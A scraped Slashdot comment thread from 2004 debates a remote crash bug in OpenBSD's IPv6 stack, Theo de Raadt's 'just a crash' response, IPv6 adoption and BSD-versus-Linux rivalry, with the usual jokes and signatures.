Either way, openBSD deserves the attention they get. If I were swear everyone who knows me would talk about it, even though most of them think nothing of swearing everyday (or so it seems). Once you build (like me) an expectation it is interesting when you violate it, even though you did something that is everyday.
Ever since switching to Apple OS X, I have had significantly less security vulnerabilities than when I used OpenBSD. On top of that, I have a way bigger selection of great applications, I have a GUI that BSD and Linux users can only dream about, and I am confident in the knowledge that I am protecting AMERICAN jobs and AMERICAN know how.
Perhaps I'm missing something, but why would someone need to run ipv6 since the Internet is still not using it?
We are still running everything on ipv6. Now we have had a couple sites that we've had to move to FreeBSD servers due to the lack of SMP support in OpenBSD and needed the extra power. However, overall, I've had good luck with OpenBSD. Its the lack of support for SMP and other features that keep me from an extremely large scale deployment...
"The problem with socialism is eventually you run out of other people's money" - Thatcher.
"It is unknown if the bug could be used to execute arbitrary code, but it does require patching a Linux kernel"
Is it Linux or BSD? ; )
That guy is one of the best bug hunters in the industry. He and Rain Forrest Puppy should start a consulting firm.
Saying Java is nice because it works on all OS's is like saying that anal sex is nice because it works on all genders.
To quote Theo, 'it is just a wardrobe malfunction.'"
Cogito ergo sum:
Rene Descartes, Discourse on Methode, Part 4:Reposted 'cause I could use the mod points.
What does "cogitoergosum" mean?
Cogito ergo sum:
Rene Descartes, Discourse on Methode, Part 4:A "remote hole" doesn't have to just be obtaining root access. Being able to remotely crash a server is almost as bad. So no, they cannot boast.
Troll?!? It was humor, you insensitive clod.
a few months back child porn was posted and nothing was done
/.
/.
/. is not the publisher, nor did /. in any way encourage the posting of material of that nature, should you expect /. to take the unprecidented action of censoring postings based on the content.
/. out of it! Read the FAQ if you still don't understand the concept.
No, a link to child porn was posted and the post was modded down into oblivion, as is the system and the basis of the culture here at
No post, no matter how disgusting, offensive, or damaging to "national security" will be deleted from
If a site is publishing child porn, then the operators of that site should be held responsible for this, but as
If you have a problem with the posting you mention (I did not see that post myself, so I have no opinion of its content) then you should locate the url of the offending mater and take whatever legal action against that publisher is apropriate.
Just leave
once again: comments will not be deleted because of content.
You got us. It was fixed about two and a half hours after you heard about it...
p =R eply&threshold=1&commentsort=0&tid=172&mode=thread &pid=8196065
http://bsd.slashdot.org/comments.pl?sid=95689&o
What I've been wondering is if anyone has read any of the literature regarding OpenBSD's methodology. I recally it being expressly mentioned that they would rather have the machine crash than have it rooted. Which is a good idea if you cannot risk a break-in. They try to break-in, you crash, and now you're in a more secure state (off) than you were when they attacked you.
As a sysadmin of a college network, "just a crash" *really* helped me.
I replaced all firewalls with OpenBSD filtering bridges. One rather persistent script kiddie (unfortuneately a legitimite $luser on the network) decided to send a few malformed packets here, there and everywhere. One of these crashed the filtering bridge at the edge of that particular subnet.
Immediately no packets enter or leave that subnet and I get about 40 phone calls "the internet is broken / my session crashed..." and go and deal with it.
Just a crash, saved several boxes. By contrast, accessible linux machines, privelege escalation - root exploit. All over.
Now if only the average windows box would *only* bluescreen in response to being cracked/ infection with the latest...rather than sending mal packets everywhere. Then infection would be self limiting and the world would be a better place.
You Are Smoking Crack.
la verdad no se que decirles
youll get many more crashes :)
you just need millions to test out bsd
aaargh, my OpenBSD box is _really_ dead this time!!
I know I should have intense knowledge of all of this already... ;) but, how can openBSD use a Linux kernel, aren't they different beast? Both Unix derived beast but different nonetheless, or are they, do openBSD actually runs on the Linux kernel?
was your firewall would you rather have it rooted and used by one person/group or your box down and either:
internal network exposed, or
your business of the air
The Singularity is closer than you think
Quant
teh spoke or whack?
and if you're counting the number of remote root exploits, you can use a 2 bit register with a signed value.
When someone might yell at me, it has to be OpenBSD.
Mmmm. Tawny Port. Church got me into that one. Who knew the blood of Christ was so tasty?
a complete clean room implementation using engineers that didn't read BSD TCP/IP code in school ...
...
yeah right
It's heartwarming to see that the ping of death lives on.
OMFG!! They do *NOT use the same kernel. Yes, both are *NIX derivatives, but no, they do not use the same kernel. Download OBSD and try it out. If you know Linux, then you'll see the differences and similarities real fast.
Anyone who equates deleting accounts that have no privileges and are unable to login with security is a moron. And commenting out IPv6 will not make the kernel any more effecient, it has no effect on performance at all. If you don't use IPv6, then you are already not affected. Try to think just a *little* bit once in a while.
Yeah fucking right!
No, it's not "just a crash", it's a "very easily executed DOS" that could be perpetuated indefinately if the person on the receving end wasn't aware of this exploit.
Theo: don't be so egotistical and elitist. Such attitudes lead to failure and defeat. History teaches us this.
~/ssh slashdot.org ssh: connect to host slashdot.org port 22: too many beers
If you bothered to spend a little time learning about OpenBSD and how things work there, you'd know how stupid your statement is. Every time *any* bug is found they go through the entire source tree searching for similar errors. Things like this have resulted in other fixes in the following days as a result. Just because he says "its just a crash" when its just a crash, doesn't mean its not being taken seriously. You don't even know the context of the statement for christ's sake, wtf do you want him to say, "oh shit, we are 0wn3d, we give up, we're switching to linux cause its so much better!"?
Wasn't the BSOD just a crash?
[SIG] Remember Mattel handheld games?
Basically, Georgi Guninski found a way to cause the current child process of 'qmail-smtpd' to abend -- this is not a DoS, as it only affects your child SMTP session, and is likely not possible in an RFC-compliant message.
Technically the issue is the use of a signed integer as a counter when it is also used as an index into the array (containing the current line?). If the counter is incremented to the point that it "wraps around" (technically overflows, but not in the same sense as a buffer overflow), then when the counter is used as an offset into an array, it causes a "segment violation" fault.
Because the counter is used as an offset into an array for the purpose of reading the value of a byte, and the process is killed as soon as it tries to access memory outside of it's segment (SEGV), this is inherently non-exploitable for privilege escalation.
As I said, it's silly, is only an issue because the rest of DJB's code is so clean you could eat off it, and as Georgi Guninski says,
I do not deploy Linux. Ever.
Heres what I saw in the advisory:
ping6 openbsd
ssh -6 openbsd
Notice the ssh -6? Now how many people do you know will run an ssh server as tcp6? He will have to be really interested in ipv6 and run a couple of daemons and run an ipv6 home network.
So if he's mucking with ipv6, for one hes not running critical servers and has critical data on his server that needs to be 99.999% available.
Secondly theres really not many people who would much with ipv6 in the first place.
So I think OBSD is still pretty much secure and this bug shouldnt harm OBSD's image. Bugs appear in OSes all the time and this one, with all the press its getting will do much less damage to OBSD servers around than the bugs for Windows and other Unixen will.
"Give orange me give eat orange me eat orange give me eat orange give me you." -Nim Chimpsky
However, keep in mind that there are quite a few areas in (all?) BSD-derived IP stacks where a seriously malformed packet will cause the kernel itself to throw up it's hands and call panic("WTF?!?").
I've found that just about any system will eventually panic if you sic ISIC at it from within the same subnet.
Cool OpenBSD kernel panic messages:
or the elegantly simple:
I do not deploy Linux. Ever.
(by comparition)
whaaaat? OH! you mean comparison... I know you've got a low UID an' all, but i mean - come on maaaan
> you can safely assume the people using openBSD don't bother to pay attention
/. i hope you don't work in this industry; i don't even think i'd trust you to salt fries.
that statement is probably one of the most ignorant i have _ever_ read on
Yeah, you're not going to see a worm that infects Linux hosts, patches their kernels, recompiles, and executes these commands against OpenBSD.org...
The BSD is dying trolls should orchestrate an attack on every know BSD server out there, then come back to /. and tell us all about how BSD is dying. Heck, at that point, maybe it would be dead.
Just use VPN through it and it comes down with the slightest traffick between the VPN server and client
"Fighting terrorists with millitary might is like killing a mosquitor on your Dad's forehead with a rifle."
...OpenBSD is just crashing.
I think that it means that you need a patched Linux kernel in order to generate and send the borked packets that cause the crash on an OpenBSD box. The modded network stack is used on a Linux machine to crash an OpenBSD machine.
I'm surprised the crash made slashdot, but not the root exploit in BSD that was posted to BugTraq at the same time. To wit:
http://www.securityfocus.com/archive/1/352733
The response from TdR shouldn't be
Ok, tell me *WHY* it should be any different. And
when you have figured out one or more reasons why it
should be anything different, match those reason to
the list here:
http://www.openbsd.org/goals.html
If you get any matches, please post them here afterwards.
It is not the goal to conquer all unices, nor to
please you or me or any other users. Neither is it
a goal to produce comments that can't be misinterpreted
out of context either. So what if Theo is an asshoel,
so what if he is blunt, uncharismatic, unfriendly
or not on your list of likeable persons? He doesn't
care for what you like, until you start producing
workable code. And neither do I, but I don't run a
project like that. He does. And he can say what goes
and what doesn't. You (and others) need to figure
out really quickly that it's not about you. They
don't do all that work for you, it's for _them_.
It may come as a shock for you to realise it, but
if you slam the door and never return it wont matter
to them. Really. If the (true - as of now) statement
offends you so much, by all means go somewhere else.
It will not matter. It will not change any facts,
and it will not change openbsd, and it will not change
the trackrecord of openbsd.
-- I'm as unique as everyone else.
...was in windows 9x. But I can undertand this. This is a IPV6 stack, ie: it's likely people is GOING to find bugs in ipv6 stacks. They're too new. It's hard, however, to find such bugs in a IPV4 implementation, just because it has been working for decades. IMHO this is a quite minor bug if you think that the VAST majority of openbsd users are NOT (sadly ;) using ipv6
It does not need to be remote root, to be called a hole, but it does need to have a hole something can get in through. If you can't get in, it's not a hole, but a bug and a crash.
What, writing raw ethernet packets won't work?
tasks(723) drafts(105) languages(484) examples(29106)
What about raw sockets?
Now the specialist press, including web sites, who know of the existence of OpenBSD, are likely to treat this in much the same way. A BSD crash, any variant, is a rarity, 1000 times or more less likely to happen than a BSOD. Same sort of ratio fro security holes also. So, the same thing happens, the uncommon major event gets the attention, although it does far, far less harm overall than the very common everyday event.
Of course in this case the normal press remain in utter ignorance, some of them may know that Windoze is not the same as a MAC, a few will know of Linux, and very few indeed will know what BSD is, they probably think it is a shorter abbreviation for BSOD. So, the mainstream press will leave this well alone.
It is quite right and proper that crashes should be reported, and certainly it is only fair that a problem with a secure OS gets to be known, and fixed, but like the train crash, it needs to be kept in perspective.
I know that Theo allegedly has an attitude problem, however those who extrapolate from his remark that it is only a crash to suggest that he does not care are IMHO quite wrong. I think he was only putting the event in its true perspective, as being of slightly less importance than a security breach. I think he does care, very much, that "his" software works properly, that is what drives such people, who could earn much more financial reward elsewhere.
All of this is a matter of seeing the thing in its true perspective. If people did that, no-one at all would use the products of the Convicted Monopolist, and the world would be a very much safer place as regards computer security, and much more productive because there would probably be only one crash for 1000 or even 1000000 BSODs in inferior systems, which are riddled with fundamental design errors.
If they want a system with users, it helps to not turn then away by being rude and dismissive.
Users are good for lots of goals, because users find, report, and sometimes fix bugs.
If they want cooperation from other OS/app writers, it helps to be less competitive. I know these aren't *directly* on the list, but surely they contribute indirectly to the goals.
Just as you defend Theo's right to say things like that, should I not also have the right to call him on his attitude?
I find it hard to believe that anything taken out of context could be worse than what he says in context:
Granted, OpenBSD is his baby.
Is there any way that we could prod Santana to bring his binary patches up to date for 3.3 i386 when the patch is released?
I've already emailed him that I'd send him $50.
...the documentation advises against building your own kernel unless you have a very good reason. They won't support you, either (not that their support will solve all your problems).
C'mon, how many people are running IPv6? I'm sure both of them have upgraded to -current already.
At least mafia-owned pizzarias make excellent pizza. Compare to Bill Gates.
If you are gonna sit there and talk out of your ass about how removing IPv6 from your kernel has any benefit at all, you should back it up. It won't affect performance or security, so wtf is it helping? If you don't use IPv6, nobody can connect via IPv6, and therefore its not any more secure to remove IPv6. In fact, it may be less secure as GENERIC kernels are by far the most widely used and tested, and there could be unintended and unknown issues with ganking out part of the kernel for no fucking reason.
It is not, however, in the default configuration, which is what they generally boast about. Thus, what you said is moot.
http://bsd.slashdot.org/article.pl?sid=04/02/05/20 56234
i net6/ip6_output.c
Remotely Crash OpenBSD
Posted by CowboyNeal on Thu Feb 05, '04 22:49
http://www.openbsd.org/cgi-bin/cvsweb/src/sys/net
CVS log for src/sys/netinet6/ip6_output.c
Revision 1.82 / (download) - annotate - [select for diffs] , Wed Feb 4 08:47:41 2004
Get it?
Haida Manga
No, of course not. I know that they take security seriously at OpenBSD, I just don't think they should be such cocks about it.
Forgetting corporate inertia for a moment, you have the choice of hurried, not thoroughly tested, patches; or waiting weeks while they test it thoroughly.
Think of the sheer number of test cases. You've got how many different versions of Windows still supported. Multiply that by all the apps MSFT sells (e.g.: Office) and all the apps that major corporations also run (e.g. Oracle). Multiply by a few hundred hardware platfroms.
I'm not particulary fond of MSFT myself, but complaining about the speed AND quality of their patches reflects poorly on you.
ay dios mio, carajo cabron
I have, on this very desk right now, a box running a stock, unmodified, out-of-the-box, default install of OpenBSD 3.4, which was just installed a few months ago.
It has IPV6 enabled.
Please look into these things before you post about them.
not news really, but I thought that you'd love to hear about it.
This message has been confirmed by Netcraft.
Doesn't that violate the first rule of security: restrict physical access? If anyone can walk in and access the firewalls/routers, they could do whatever they want to them, OpenBSD or not.
"Those who consume the bulk of goods are those who make them. We must never forget this secret of our prosperity."
I see. Interesting. :)
"Those who consume the bulk of goods are those who make them. We must never forget this secret of our prosperity."
There is a difference between:
"He should do X" and
"I think he shoudl do X to achieve Y".
Especially when Y isn't on the goals.html page.
Yes, more users would seem logical, but it's not one
of the goals. Reread it and you'll see.
-- I'm as unique as everyone else.
FP! (400th post)
See Daniel Harmeier answer.
Basically OpenBSD releases are supported one year (2 releases). i.e. you have to upgrade only any other release. In fact a release is supported for 13 months to give users a 1 month window to upgrade.
At the time of the telnetd exploit (July 2001) the oldest supported release was 2.7 or 2.8 and telnetd had been disabled from the default install between 2.5 and 2.6. So if you used a supported release you were safe. Since upgrades are free and take about one hour there's no reason not to do it once a year...
Crash the corpse and get some good Tux action happening on your machines.